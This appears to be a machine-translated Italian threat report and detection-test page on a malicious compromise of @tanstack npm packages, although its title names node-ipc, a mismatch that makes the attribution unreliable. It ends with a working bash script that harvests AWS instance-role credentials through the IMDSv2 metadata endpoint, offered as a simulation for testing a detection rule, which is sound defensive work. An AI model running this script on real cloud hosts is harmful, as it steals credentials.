Attacco Attivo alla Catena di Fornitura Compromette il Pacchetto node-ipc

Resoconto

I ricercatori di Socket hanno scoperto un compromesso nella catena di approvvigionamento che ha interessato 84 pacchetti npm pubblicati sotto lo @tanstack namespace. Gli aggiornamenti dannosi introdotti un file JavaScript pesantemente offuscato progettato per rubare segreti relativi al CI da GitHub Actions, AWS, HashiCorp Vault e ambienti Kubernetes, per poi utilizzare quei credenziali per ripubblicarsi su npm. Il payload ha anche piantato ganci di persistenza nei directory di configurazione di Claude Code e VS Code. I ricercatori hanno collegato l’attività alla più ampia campagna di malware della catena di approvvigionamento Mini Shai-Hulud.

Indagine

L’indagine ha identificato un file appena aggiunto, router_init.js, che utilizzava rotazione di array di stringhe, uno strato aggiuntivo di decodifica XOR e Base64, e demonizzazione per nascondere il proprio comportamento. Il malware ha mirato alle variabili d’ambiente, ai servizi di metadati cloud e ai punti di accesso API associati con GitHub, AWS, Vault e Kubernetes per raccogliere credenziali. Si è propagato abusando della federazione OIDC di GitHub Actions per ottenere token di pubblicazione npm e ha inserito un optionalDependency on @tanstack/setupdannoso. Il traffico di esfiltrazione è stato instradato attraverso la rete di messaggistica decentralizzata Session.

Mitigazione

Le organizzazioni colpite dalla campagna dovrebbero verificare le hash di tutti i contenuti dei pacchetti @tanstack/* , ruotare tutte le credenziali CI e cloud, revocare i permessi di federazione OIDC esposti, e rimuovere i file non autorizzati da .claude and .vscode directory. Bloccare il traffico in uscita verso filev2.getsession.org e applicare controlli d’integrità per i pacchetti npm può ridurre ulteriormente l’esposizione. Anche i flussi di lavoro di GitHub Actions dovrebbero essere rinforzati fissando azioni di terze parti e minimizzando i permessi id-token .

Risposta

I difensori dovrebbero cercare la presenza di router_init.js e nomi di file correlati, monitorare per processi generati sospetti, e allertare sull’accesso ai punti di accesso ai metadati cloud identificati. Qualsiasi pacchetto compromesso dovrebbe essere messo in quarantena, i ganci dannosi rimossi, e tutte le credenziali esposte immediatamente ruotati. I team di sicurezza dovrebbero anche condurre una revisione completa dell’attività GitHub Actions per l’utilizzo non autorizzato dei token e convalidare la provenienza di tutti i pacchetti npm pubblicati.

Esecuzione della Simulazione

Prerequisito: Il controllo preliminare della Telemetria & Baseline deve essere stato superato.

Motivazione: Questa sezione dettaglia l’esatta esecuzione della tecnica avversaria (TTP) progettata per attivare la regola di rilevamento. I comandi e la narrazione DEVONO riflettere direttamente i TTP identificati e mirare a generare l’esatta telemetria prevista dalla logica di rilevamento. Esempi astratti o non correlati porteranno a una diagnosi errata.

• Narrativa & Comandi dell’Attacco:

  1. Ottenere un token di sessione IMDSv2 – l’attaccante invia una PUT richiesta all’endpoint del token con un TTL di 21600 secondi.
  2. Usa il token per interrogare il nome del ruolo IAM esposto in /latest/meta-data/iam/security-credentials/.
  3. Recupera le credenziali IAM temporanee (AccessKeyId, SecretAccessKey, Token) per il profilo dell’istanza.
  4. Archivia le credenziali localmente per un uso successivo (ad es., per chiamare API AWS, eseguire pivot o condurre attacchi di password spraying).

  Questi passaggi generano traffico HTTP verso gli URI esatti elencati nella regola Sigma, che, se catturati dai VPC Flow Logs, dovrebbero soddisfare la condizione di rilevamento.

• Script Test di Regressione:

  #!/usr/bin/env bash
  # -------------------------------------------------
  # Script: aws_imds_credential_harvest.sh
  # Scopo: Simulare la raccolta delle credenziali via IMDSv2 / metadati ECS
  # -------------------------------------------------
  
  set -euo pipefail
  
  # 1. Richiedi token IMDSv2
  TOKEN=$(curl -X PUT "http://169.254.169.254/latest/api/token" 
    -H "X-aws-ec2-metadata-token-ttl-seconds: 21600" -s)
  
  if [[ -z "$TOKEN" ]]; then
    echo "[!] Impossibile ottenere il token IMDSv2"
    exit 1
  fi
  echo "[*] Token IMDSv2 ottenuto"
  
  # 2. Ottieni il nome del ruolo IAM associato all'istanza
  ROLE_NAME=$(curl -H "X-aws-ec2-metadata-token: $TOKEN" 
    -s http://169.254.169.254/latest/meta-data/iam/security-credentials/)
  
  if [[ -z "$ROLE_NAME" ]]; then
    echo "[!] Impossibile recuperare il nome del ruolo IAM"
    exit 1
  fi
  echo "[*] Ruolo IAM dell'istanza: $ROLE_NAME"
  
  # 3. Recupera le credenziali temporanee per il ruolo
  CREDS_JSON=$(curl -H "X-aws-ec2-metadata-token: $TOKEN" 
    -s http://169.254.169.254/latest/meta-data/iam/security-credentials/$ROLE_NAME)
  
  echo "[*] Credenziali recuperate:"
  echo "$CREDS_JSON" | jq .
  
  # 4. (Facoltativo) Esporta come variabili d'ambiente per uso successivo con CLI AWS
  export AWS_ACCESS_KEY_ID=$(echo "$CREDS_JSON" | jq -r .AccessKeyId)
  export AWS_SECRET_ACCESS_KEY=$(echo "$CREDS_JSON" | jq -r .SecretAccessKey)
  export AWS_SESSION_TOKEN=$(echo "$CREDS_JSON" | jq -r .Token)
  
  echo "[*] Credenziali esportate nell'ambiente (solo per dimostrazione)."
  # -------------------------------------------------
  # Fine dello script
  # -------------------------------------------------

• Comandi di Pulizia:

  # Rimuovi le variabili d'ambiente che contengono credenziali temporanee
  unset AWS_ACCESS_KEY_ID AWS_SECRET_ACCESS_KEY AWS_SESSION_TOKEN
  
  # Rimuovi eventuali file temporanei (nessuno creato in questo script)
  echo "[*] Pulizia completata."